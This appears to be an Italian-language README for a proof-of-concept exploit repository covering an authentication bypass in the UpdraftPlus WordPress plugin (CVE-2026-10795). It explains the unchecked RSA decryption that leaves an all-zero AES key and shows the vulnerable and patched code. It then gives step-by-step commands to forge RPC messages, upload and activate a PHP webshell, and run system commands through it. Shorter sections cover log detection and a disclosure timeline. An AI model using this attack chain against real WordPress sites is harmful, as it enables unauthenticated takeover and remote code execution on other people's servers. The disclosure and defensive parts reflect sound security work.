
CVE-2026-10795 – UpdraftPlus Bypass dell'autenticazione
CVE-2026-10795 – Bypass di autenticazione in UpdraftPlus
⚠️ Disclaimer: Questo repository è solo a scopo educativo.
Usalo esclusivamente su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione.
L'autore non è responsabile per un uso improprio.
| Campo | Dettagli |
|---|
| Plugin | UpdraftPlus: WP Backup & Migration |
| Versioni affette | ≤ 1.26.4 |
| Versione corretta | 1.26.5 |
| Punteggio CVSS | 8.1 (Alto) |
| Tipo di vulnerabilità | Bypass di autenticazione non autenticato → Esecuzione Remota di Comandi (RCE) |
| Scoperta da | vtim (Wordfence Bug Bounty) |
| Bounty | $5.200 |
UpdraftPlus registra un listener RPC non autenticato ad ogni caricamento di pagina per i siti collegati a UpdraftCentral.
La funzione decrypt_message() non convalida il valore restituito da $rsa->decrypt().
Quando la decifratura RSA fallisce, false viene passato a Rijndael::setKey(), riducendosi a una chiave AES-128 deterministica composta da tutti zeri.
Un attaccante può:
udrpc_message cifrato con la chiave zero// updraftplus/includes/class-remote-communications-v2.php
// Righe 460-491 (versione 1.26.4)
$sym_key = $rsa->decrypt($sym_key);
// ❌ Nessun controllo sul valore restituito!
$rij->setKey($sym_key); // false → chiave tutta zeri
return $rij->decrypt($ciphertext);
$sym_key = $rsa->decrypt($sym_key);
// ✅ Aggiunto nella versione 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
updraftplus-auth-bypass/
├── README.md
├── poc.py # Script principale dell'exploit
├── requirements.txt # Dipendenze Python
├── payloads/
│ ├── list_plugins.py # Elenca i plugin installati
│ ├── upload_shell.py # Carica un webshell come plugin
│ └── activate_plugin.py # Attiva il plugin caricato
├── shell/
│ ├── build_shell.py # Crea lo ZIP del webshell
│ └── test-shell.php # Webshell PHP minimale
└── docs/
├── technical-analysis.md
└── patch-diff.md
git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt
requirements.txt
requests==2.31.0
pycryptodome==3.20.0
https://www.apachefriends.org
Avvia: Apache + MySQL
# Posiziona WordPress in htdocs
C:/xampp/htdocs/wordpress/
# Installa la versione vulnerabile del plugin
# Scarica: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4
WordPress Admin → Impostazioni → UpdraftPlus → scheda UpdraftCentral → Connetti
⚠️ Richiesto: Il sito deve essere collegato a UpdraftCentral affinché la vulnerabilità sia sfruttabile.
python poc.py --url http://localhost/wordpress/ --user-id 1
python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins
# Passo 1: Crea lo ZIP del webshell
python shell/build_shell.py
# Passo 2: Carica
python poc.py --url http://localhost/wordpress/ --cmd upload_shell
# Passo 3: Attiva
python poc.py --url http://localhost/wordpress/ --cmd activate_shell
# Passo 4: Test RCE
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"
poc.py
│
├─ 1. Crea una chiave simmetrica RSA cifrata malformata (byte spazzatura)
│
├─ 2. Cifra il payload RPC con la chiave AES-128 ZERO (0x00 * 16)
│
├─ 3. Costruisce udrpc_message:
│ [3 byte hex lunghezza][fake_sym_key][16 byte hex lunghezza cipher][ciphertext]
│
├─ 4. POST al target (nessuna autenticazione, nonce o cookie necessari)
│
└─ 5. Lato server:
rsa->decrypt(spazzatura) → false
setKey(false) → chiave 0x00
decrypt(ciphertext) → il nostro payload ✅
wp_set_current_user() → accesso admin
Il comando RPC esegue → RCE 💀
Aggiornare immediatamente UpdraftPlus alla versione 1.26.5.
# Cerca richieste POST sospette con udrpc_message
grep "udrpc_message" /var/log/apache2/access.log
# Gli utenti di Wordfence sono protetti dal 3 giugno 2026
- Installazioni di plugin inaspettate
- Nuovi file PHP in wp-content/plugins/
- Richieste POST alla root di WordPress con parametro udrpc_message
- Azioni di livello admin inaspettate nei log di WordPress
| Data | Evento |
|---|---|
| 1 giugno 2026 | Vulnerabilità inviata tramite Wordfence Bug Bounty |
| 3 giugno 2026 | Validata e divulgata al fornitore |
| 3 giugno 2026 | Regola firewall Wordfence Premium implementata |
| 4 giugno 2026 | Fornitore ha preso atto |
| 5 giugno 2026 | Patch rilasciata (v1.26.5) |
| 3 luglio 2026 | Protezione Wordfence Free attiva |
Licenza MIT – Solo per uso educativo.
L'uso non autorizzato contro sistemi di cui non si è proprietari è illegale.